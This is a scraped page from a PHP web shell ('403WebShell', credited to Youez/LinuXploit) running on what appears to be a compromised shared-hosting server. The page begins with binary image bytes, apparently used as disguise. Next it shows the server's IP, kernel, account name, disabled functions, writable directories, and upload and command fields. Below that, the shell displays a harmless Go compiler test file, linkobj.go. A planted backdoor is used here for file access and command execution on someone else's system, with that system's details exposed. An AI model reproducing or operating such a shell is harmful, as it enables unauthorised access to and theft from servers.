JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.83  /  Your IP : 216.73.216.217
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/golang/1.22.0/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/golang/1.22.0/test/linkobj.go
// run

//go:build !nacl && !js && gc && !wasip1

// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Test the compiler -linkobj flag.

package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"os"
	"os/exec"
	"strings"
)

var pwd, tmpdir string

func main() {
	dir, err := ioutil.TempDir("", "go-test-linkobj-")
	if err != nil {
		log.Fatal(err)
	}
	pwd, err = os.Getwd()
	if err != nil {
		log.Fatal(err)
	}
	if err := os.Chdir(dir); err != nil {
		os.RemoveAll(dir)
		log.Fatal(err)
	}
	tmpdir = dir

	writeFile("p1.go", `
		package p1

		func F() {
			println("hello from p1")
		}
	`)
	writeFile("p2.go", `
		package p2

		import "./p1"

		func F() {
			p1.F()
			println("hello from p2")
		}

		func main() {}
	`)
	writeFile("p3.go", `
		package main

		import "./p2"

		func main() {
			p2.F()
			println("hello from main")
		}
	`)

	stdlibimportcfg, err := os.ReadFile(os.Getenv("STDLIB_IMPORTCFG"))
	if err != nil {
		fatalf("listing stdlib export files: %v", err)
	}

	// two rounds: once using normal objects, again using .a files (compile -pack).
	for round := 0; round < 2; round++ {
		pkg := "-pack=" + fmt.Sprint(round)

		// The compiler expects the files being read to have the right suffix.
		o := "o"
		if round == 1 {
			o = "a"
		}

		importcfg := string(stdlibimportcfg) + "\npackagefile p1=p1." + o + "\npackagefile p2=p2." + o
		os.WriteFile("importcfg", []byte(importcfg), 0644)

		// inlining is disabled to make sure that the link objects contain needed code.
		run("go", "tool", "compile", "-p=p1", pkg, "-D", ".", "-importcfg=importcfg", "-l", "-o", "p1."+o, "-linkobj", "p1.lo", "p1.go")
		run("go", "tool", "compile", "-p=p2", pkg, "-D", ".", "-importcfg=importcfg", "-l", "-o", "p2."+o, "-linkobj", "p2.lo", "p2.go")
		run("go", "tool", "compile", "-p=main", pkg, "-D", ".", "-importcfg=importcfg", "-l", "-o", "p3."+o, "-linkobj", "p3.lo", "p3.go")

		cp("p1."+o, "p1.oo")
		cp("p2."+o, "p2.oo")
		cp("p3."+o, "p3.oo")
		cp("p1.lo", "p1."+o)
		cp("p2.lo", "p2."+o)
		cp("p3.lo", "p3."+o)
		out := runFail("go", "tool", "link", "p2."+o)
		if !strings.Contains(out, "not package main") {
			fatalf("link p2.o failed but not for package main:\n%s", out)
		}

		run("go", "tool", "link", "-importcfg=importcfg", "-o", "a.out.exe", "p3."+o)
		out = run("./a.out.exe")
		if !strings.Contains(out, "hello from p1\nhello from p2\nhello from main\n") {
			fatalf("running main, incorrect output:\n%s", out)
		}

		// ensure that mistaken future round can't use these
		os.Remove("p1.o")
		os.Remove("a.out.exe")
	}

	cleanup()
}

func run(args ...string) string {
	out, err := exec.Command(args[0], args[1:]...).CombinedOutput()
	if err != nil {
		fatalf("run %v: %s\n%s", args, err, out)
	}
	return string(out)
}

func runFail(args ...string) string {
	out, err := exec.Command(args[0], args[1:]...).CombinedOutput()
	if err == nil {
		fatalf("runFail %v: unexpected success!\n%s", args, err, out)
	}
	return string(out)
}

func cp(src, dst string) {
	data, err := ioutil.ReadFile(src)
	if err != nil {
		fatalf("%v", err)
	}
	err = ioutil.WriteFile(dst, data, 0666)
	if err != nil {
		fatalf("%v", err)
	}
}

func writeFile(name, data string) {
	err := ioutil.WriteFile(name, []byte(data), 0666)
	if err != nil {
		fatalf("%v", err)
	}
}

func cleanup() {
	const debug = false
	if debug {
		println("TMPDIR:", tmpdir)
		return
	}
	os.Chdir(pwd) // get out of tmpdir before removing it
	os.RemoveAll(tmpdir)
}

func fatalf(format string, args ...interface{}) {
	cleanup()
	log.Fatalf(format, args...)
}

Youez - 2016 - github.com/yon3zu
LinuXploit